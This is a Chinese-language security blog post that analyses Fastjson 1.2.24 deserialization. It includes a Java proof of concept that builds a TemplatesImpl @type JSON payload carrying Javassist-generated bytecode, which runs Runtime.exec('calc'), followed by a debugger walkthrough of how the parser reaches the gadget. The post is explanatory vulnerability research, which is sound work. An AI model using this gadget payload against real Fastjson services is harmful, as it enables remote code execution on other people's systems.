首页 > 其他分享 >Fastjson反序列化分析

Fastjson反序列化分析

时间:2024-03-28 16:14:08浏览次数:40  
标签:Fastjson 分析 跟进 String cc org import 序列化 com

依赖

先研究1.2.24版本的,版本高了就有waf了,不过也能绕,高版本以后再说

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>
<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>5.1.46</version>
</dependency>
<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.29.1-GA</version>
</dependency>

Fastjson之任意get,set调用

TemplatesImpl链

老样子定义恶意类,然后打TemplatesImpl的defineClass

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;

import java.io.IOException;
import java.util.Base64;

public class Main {
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException {
        ClassPool pool = new ClassPool();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] codes = cc.toBytecode();
        String value = Base64.getEncoder().encodeToString(codes);
        String payload = "{\"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\": [\""+value+"\"], \"_name\": \"c.c\", \"_tfactory\": {}, \"_outputProperties\": {},\"_name\": \"a\", \"_version\": \"1.0\", \"allowedProtocols\": \"all\"}";
        // 注意这里这些属性都是私有属性,所以得设置Feature.SupportNonPublicField来保证可以对私有属性赋值
        JSON.parseObject(payload, Feature.SupportNonPublicField);
    }
}

打个断点进行分析,断点打在JSON.parseObject,进入parse

这里配置了我们传入的Feature.SupportNonPublicField为true

继续跟进parse

继续跟进parse

这里对token进行选择,我们的token在DefaultJSONParser中被赋值了12,继续跟进,LBRACE就是12

进入parseObject,取到key为@type

加载key的value也就是我们传入的TemplatsImpl
跟进loadClass

往下走,获取一个类加载器来加载我们的恶意类,然后放入一个map中

返回之后往下走,调用getDeserializer将恶意类进行JSON反序列化

跟进该方法,一系列的判断,没啥用,直接过,来到这,创建了个JavaBeanDeserializer
跟进该方法,又是一系列的判断,略过来到这里,调用了JavaBeanDeserializer

跟进该构造方法

跟进build方法,这里循环调用恶意类的方法,调用到getOutProperties,define恶意类
set也是一样

JdbcRowSetImpl链

之前的JNDI注入分析文章已经分析过了
https://tttang.com/archive/1579/#toc_
https://www.cnblogs.com/F12-blog/p/18100120

标签:Fastjson,分析,跟进,String,cc,org,import,序列化,com
From: https://www.cnblogs.com/F12-blog/p/18101951

相关文章

  • 商业分析五大领域【工具技术】系列之——(二)商业分析规划
    商业分析第一大领域“需要评估”的输出是:商业论证得到发起人认可,通俗点就是说,老板拍板了,这事儿可以开干了,去出更详尽的解决方案并实施去吧~那,直接上来就闷头扎在细节里干活么?当然不是,接下来先要规划,规划有什么作用?我们看看如果不规划的话,可能会出现什么情况呢:相关干系人产生......
  • 发现数据异常波动怎么办?别慌,指标监控和归因分析来帮你
    企业搭建完善、全面的指标体系是企业用数据指导业务经营决策的第一步。但是做完指标之后,对指标的监控,经常被大家忽视。当指标发生了异常波动(上升或下降),需要企业能够及时发现,并快速找到背后真实的原因,才能针对性地制定相应策略,否则就是盲打,原地打转。指标异常波动的具体场景,比如:......
  • 使用机器学习进行多组学分析的 3+2 个挑战(2024年3月30日组会报告)
    利用机器学习进行多组学数据分析使用机器学习进行多组学分析的3+2个挑战3.1异质性、稀疏性和异常值来自不同高通量来源的多组学数据通常是异构的(Bersanellietal.,2016)。例如,转录组学和蛋白质组学在组学分析之前使用不同的标准化和缩放技术。这导致不同的动态范围和数据分......
  • KingbaseES V8R6集群运维案例之---主备failover切换原因分析
    案例说明:生产环境,KingbaseESV8R6的集群发生failover切换,分析集群切换的原因。适用版本:KingbaseESV8R6集群架构:137.xx.xx.67主原备库137.xx.xx.94原主库137.xx.xx.68vip地址一、日志分析1、分析原备库hamgr.log如下所示,通过原备库hamgr.log日志获取到具体......
  • Nginx日志统计分析
    Nginx日志统计分析1.统计IP访问量(独立ip访问数量)​awk'{print$1}'access.log|sort-n|uniq|wc-l​2.查看某一时间段的IP访问量(4-5点)​grep"07/Apr/2017:0[4-5]"access.log|awk'{print$1}'|sort|uniq-c|sort-nr|wc-l​3.查看访问最频繁的前100个......
  • svg中viewbox图解分析
     svg中有一个viewbox属性,中文翻译为视区,就是在svg上截取一小块,放大到整个svg显示。这个属性初学的话有点难以理解,这边做一个简单的示例,一看就明白了。1)先来一个svg,宽高各位300,设置一下边框:<svgwidth="300"height="300"style="border:1pxsolidsteelblue"></svg>......
  • 【题解】AGC007E | 二分答案 复杂度分析
    首先考虑题目要求每条边被经过两次,这说明了我们进入一个子树后一定会处理完子树内所有的叶子后离开该子树,否则子树上端那条边会进出至少两次,即经过至少四次。所以这说明了子树之间的独立性:某个子树在答案中一定是一个连续的区间,这引导我们从有根树信息自下向上拼接的角度考虑。我......
  • 系统分析师-参考模型
    前言网络术语中的参考模型指的是OSI参考模型,由ISO(国际标准化组织)制定的一套普遍适用的规范集合,以使得全球范围的计算机平台可进行开放式通信。ISO创建了一个有助于开发和理解计算机的通信模型,即开放系统互联OSI参考模型。OSI参考模型将网络结构划分为七层:即物理层、数据链......
  • 记一次 .NET某防伪验证系统 崩溃分析
    一:背景1.讲故事昨晚给训练营里面的一位朋友分析了一个程序崩溃的故障,因为看小伙子昨天在群里问了一天也没搞定,干脆自己亲自上阵吧,抓取的dump也是我极力推荐的用procdump注册AEDebug的方式,省去了很多沟通成本。二:WinDbg分析1.为什么会崩溃windbg有一个非常强大的点就是......
  • 4.Python数据分析—数据分析入门知识图谱&索引(知识体系下篇)
    4.Python数据分析—数据分析入门知识图谱&索引-知识体系下篇一·个人简介二·机器学习基础2.1监督学习与无监督学习2.1.1监督学习:2.1.2无监督学习:2.2特征工程2.3常用机器学习算法概述2.3.1监督学习算法:2.3.2无监督学习算法:2.3.3强化学习:2.4模型评估与选择三......